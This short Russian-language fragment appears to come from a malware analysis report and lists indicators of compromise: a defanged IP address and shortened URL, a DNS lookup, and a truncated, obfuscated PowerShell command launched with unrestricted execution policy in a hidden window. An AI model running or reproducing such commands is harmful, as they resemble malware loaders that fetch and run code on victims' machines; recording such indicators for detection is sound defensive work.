Техническая информация
- '13#.#8.201.42':80
- http://bi#.do/fnHA7
- DNS ASK bi#.do
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy UnRestricted -Window 1 [void] $null;$vgolqbrycd = Get-Random -Min 3 -Max 4;$tkduw = ([char[]]([char]97..[char]122));$igobvn = -join ($tkduw | Get-Random -Count $vgolqbrycd | % ...' (со скрытым окном)